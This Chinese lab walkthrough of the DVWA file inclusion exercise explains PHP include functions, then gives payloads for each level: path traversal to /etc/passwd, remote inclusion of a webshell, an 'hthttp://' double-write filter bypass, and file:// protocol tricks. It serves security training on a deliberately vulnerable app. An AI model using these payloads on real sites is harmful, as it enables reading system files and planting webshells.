zoukankan      html  css  js  c++  java
  • DVWA——文件包含

    文件包含漏洞概述:

    开发人员都希望代码更加灵活,所以通常会将被包含的文件设置为变量,用来进行动态调用。正是这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。

    一、PHP文件包含函数:

    PHP:include()、include_once()、require()、require_once()等;

    require:找不到被包含的文件,报错,并且停止运行脚本。

    include:找不到被包含的文件,只会报错,但会继续运行脚本。

    require_once:与require类似,区别在于当重复调用同一文件时,程序只调用一次。

    include_once:与include类似,区别在于当重复调用同一文件时,程序只调用一次。

    二、

    二、目录遍历与文件包含的区别

      目录遍历是可以读取web目录以外的其他目录,根源在于对路径访问权限设置不严格,针对本系统。

      文件包含是利用函数来包含web目录以外的文件,分为本地包含和远程包含。

      本地文件包含php.ini配置文件中开启allow_url_include

    allow_url_fopen = On(是否允许打开远程文件)

    allow_url_include = On(是否允许include/require远程文件)

    三、文件包含特征

    ?page=a.php
    ?home=b.html
    ?file=content

    四、检测方法

    ?file=../../../../etc/passwd
    ?page=file:///etc/passwd
    ?home=main.cgi
    ?page=http://www.a.com/1.php
    http://1.1.1.1/../../../../dir/file.txt

    五、DVWA练习

    LOW

    <?php
    
    // The page we wish to display
    $file = $_GET[ 'page' ];
    
    ?>

    low级别的代码对包含的文件没有进行任何的过滤!这导致我们可以进行包含任意的文件。当包含一个不存在的文件hack.php 报错信息将网站路径暴露出来了

    http://192.168.31.139/dvwa/vulnerabilities/fi/?page=hack.php

     文件包含时,不管包含的文件是什么类型,都会优先尝试当作php文件执行,如果文件内容有php代码,则会执行php代码并返回代码执行的结果,如果文件内容没有php代码,则把文件内容打印出来

    • 本地文件包含

    通过http协议包含本地服务器上的文件  http://192.168.31.139/dvwa/vulnerabilities/fi/?page=http://192.168.31.139/phpinfo.php

    • 远程文件包含

    http://192.168.31.139/dvwa/vulnerabilities/fi/?page=http://192.168.31.139/shell.php

    远程包含一句话木马,通过菜刀连接后台,获取webshell权限

    Medium

    服务器端源代码

    <?php
    
    // The page we wish to display
    $file = $_GET[ 'page' ];
    
    // Input validation
    $file = str_replace( array( "http://", "https://" ), "", $file );
    $file = str_replace( array( "../", ".."" ), "", $file );
    
    ?>

    代码使用 str_replace函数 对http:// 和 https://进行了过滤,防止了远程包含漏洞的产生,也过滤了 ../ 和 .. 防止了进行目录切换的包含。

    双写绕过,我们包含 hthttp://tp://xx 时,str_replace 函数只会过滤一个 http://  ,所以最终还是会包含到 http://xx

    http://192.168.31.139/dvwa/vulnerabilities/fi/?page=hthttp://tp://192.168.31.139/phpinfo.php   像这样仍然可以文件包含

    High

    服务器端源代码

    <?php
    
    // The page we wish to display
    $file = $_GET[ 'page' ];
    
    // Input validation
    if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
        // This isn't the page we want!
        echo "ERROR: File not found!";
        exit;
    }
    
    ?>

    high级别的代码对包含的文件名进行了限制,必须为 file* 或者 include.php ,否则会提示Error:File not  found。

    于是,我们可以利用 file 协议进行绕过。file协议我们其实并不陌生,当我们用浏览器打开一个本地的文件时

     利用file协议进行包含本地的文件。当我们想包含一句话木马时,必须配合文件上传漏洞,先把一句话木马上传到服务器端,然后再文件包含,用菜刀连接。

    注意:因为这个网站是要登录的,所以我们在菜刀中右键,然后浏览网站,然后登录就可以在菜刀中保持我们的session。然后就可以获取Webshell了。

    Impossible

    只允许包含include.php、file1.php、file2.php、file3.php,不能包含别的文件,彻底杜绝文件包含漏洞

  • 相关阅读:
    简单的描述关于开发部署产生401,500的错误处理
    文件的批量打包下载
    json的序列化与反序列化
    实现MD5的加密和解密
    dropdownlist的OnSelectedIndexChanged方法不触发
    sqlserver错误2,error 40
    C#存储过程调用的三个方法
    SQL Server 错误:924 解决方法
    判断是否在时间间隔内
    切面添加日志
  • 原文地址:https://www.cnblogs.com/52kj/p/12561245.html
Copyright © 2011-2022 走看看